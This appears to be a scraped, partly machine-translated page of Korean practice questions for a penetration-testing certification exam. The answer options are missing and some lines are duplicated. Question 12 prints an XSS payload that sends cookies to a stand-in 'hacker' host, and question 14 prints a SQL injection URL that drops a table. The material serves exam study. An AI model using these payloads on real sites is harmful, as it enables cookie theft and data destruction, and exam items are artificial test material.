PT0-002 문제 11
SCADA 장치를 사용하여 환경에 대한 침투 테스트를 수행하면 다음과 같은 이유로 추가적인 안전 위험이 발생합니다.
PT0-002 문제 12
다음 코드가 제공됩니다.
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> 다음 중 이러한 유형의 공격? (2개 선택)
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> 다음 중 이러한 유형의 공격? (2개 선택)
PT0-002 문제 13
다음 중 애플리케이션 코드에서 타사 오픈 소스 라이브러리를 사용할 때 가장 우려되는 점은 무엇입니까? (2개를 선택하세요.)
PT0-002 문제 14
침투 테스터가 웹 서버에서 평가를 수행했습니다. 이 세션의 로그에는 다음이 표시됩니다.
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; 드롭 테이블 서비스; --
다음 중 어떤 공격이 시도되고 있습니까?
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; 드롭 테이블 서비스; --
다음 중 어떤 공격이 시도되고 있습니까?
PT0-002 문제 15
소프트웨어 회사는 데이터베이스 서버에 대한 침투 테스트를 수행하기 위해 침투 테스터를 고용했습니다. 테스터는 회사의 개인정보취급방침에서 사용하는 다양한 도구를 제공받았습니다. 다음 중 이 서버의 취약점을 찾는 데 가장 적합한 것은 무엇입니까?